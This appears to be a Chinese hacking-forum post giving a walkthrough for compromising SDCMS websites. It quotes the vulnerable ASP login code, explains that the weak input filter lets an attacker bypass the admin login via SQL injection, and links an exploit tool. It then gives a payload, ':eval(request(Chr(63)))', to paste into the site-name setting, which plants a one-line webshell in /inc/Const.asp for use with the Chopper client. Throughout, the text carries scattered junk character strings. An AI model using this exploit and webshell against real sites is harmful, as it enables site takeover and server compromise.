SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

Sub Check
8 ^/ M# c" i1 L2 Y# P- d( w    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
7 s9 o" O9 J+ J' A' n    getcode=Session("SDCMSCode")
; D& b8 p7 k5 h# e' m! l    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
( ~* m6 X: A8 a    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
$ r7 |/ }9 _$ F# J- Y  h        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
2 i/ m* E: f7 r9 B- }/ W$ l        IF Rs.Eof Then
, R  Z4 ?; c' r7 }. ^4 T            AddLog username,GetIp,"登录失败",1
2 H) f$ u- X) z+ O# Q            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
8 Z5 ?' q3 m  @* N: F            Add_Cookies "sdcms_name",username
* I9 X5 j, y& X- }4 Z# i% P            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
; B6 M2 g9 s& H            Add_Cookies "sdcms_infolever",Rs(5)
8 [" F% T( z5 R. j( y4 \            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- k( c1 r( T+ h/ G; j5 ^3 k  O            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
5 E" ~$ @& [% K* P0 ^" u0 b                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
+ k. H) h* c; w) a, Q            Else
" t  p: z: ]# U+ X                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
) t& A0 V% k0 {" C7 u            Go("sdcms_index.asp")
        End IF
        Rs.Close
6 Z1 j( J) F! @  u& o& \3 u        Set Rs=Nothing
    End IF
6 h0 j( z7 X. j; q5 tEnd Sub
: E6 u( H$ `% S" T  o9 H3 n
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
/ U# P+ k' X: a- Y$ z0 A    Select Case t1
% P6 _1 e5 ~2 d! z3 |: Z        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
7 z% I3 C6 J' v            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* Z, n7 K  b1 H' Q' e. k9 m( ~            t0=Replace(t0,Chr(22),"")
3 |1 I; @5 ~5 ^  W            t0=Replace(t0,Chr(32),"")'空格 SPACE
* P1 ^8 K# M9 c) X            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
! Q) o5 b5 l) g9 B6 J  Q- R0 Q            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
$ Z6 V$ c9 j" \! X! o( `            t0=Replace(t0,Chr(37),"")'%
8 [, V4 J( \2 Z  c$ [- r            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
0 {) D* O" \1 e7 l$ h) R, ~            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
+ D5 H+ I$ Q/ @9 Y            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
7 Q. p, b& O2 v& G: z7 ]            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
" B& x$ }- X2 u5 n            t0=Replace(t0,Chr(63),"")'?
4 r9 }. \/ u$ l! w) x) `$ u* v            t0=Replace(t0,Chr(64),"")'@
8 I$ j( ~  d: N5 u  t3 D6 S, v4 a            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
. m6 }  X9 [1 a+ A4 |2 @9 Z# H            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
4 D, _: h. H; ]* e% c' ?            t0=Replace(t0,Chr(123),"")'{
/ r& n9 G* l: C' m5 k" }) [            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
' b% m$ t4 T# A5 ~+ a0 g    Case Else
% P7 V8 f" |0 q& k8 s        t0=Replace(t0, "&", "&")
( n9 v* m- o) j  {: s: `. E        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
: B5 ?- n( J2 r' O1 a+ C' a    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
' a1 I6 Y. D: X4 j) X    FilterText=t0
End Function

看到没。直接参数是1 只过滤
$ Y9 ~3 O1 P1 o                        t0=Replace(t0,Chr(32)," ")
) ]7 t) P5 ?2 H0 F6 r                        t0=Replace(t0,Chr(13),"")
8 e0 z: h" C3 h- r                        t0=Replace(t0,Chr(10)&Chr(10),"
")
                        t0=Replace(t0,Chr(10),"
")
) W* m+ C' ]$ G& R漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
% T0 }: D; d% N6 s, `EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
. v* @, F9 n9 Y
* e" D/ \4 o/ C8 q4 {' d& g5 a测试:

* V# `( p# H" J' j
现在输入工具上验证码,然后点OK
& g, ~1 v& A: ]& {; q
$ E4 A& f& j- z
, v0 P% N7 y4 C' X3 F5 o* i看到我们直接进入后台管理界面了,呵呵!

0 s1 J: \3 K5 }7 U: o
) u8 W: K% A7 ]
, m7 Z3 `' D$ p% s6 X# t0 }* b0 k这样直接进入后台了。。。。
( p" O! p1 W' W# X7 _" g) M7 Y
. h- o; [7 O% R0 U' @

. S" ?  \1 ^% g% G' m0 \; |& v0 TSDCMS提权:
$ A9 P# t1 A/ U; m
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
& n0 ~  s6 N( w" F  J* Z4 \

) O( {9 ~0 D* ?7 I9 ~. Y
OK,现在用菜刀连接下!
8 J8 b3 F3 {9 `& v


# A& ]6 c+ y% W& |
9 N! x  }+ g( S+ `1 r. j: `) o- J
5 G  Y) F$ @8 v: E2 f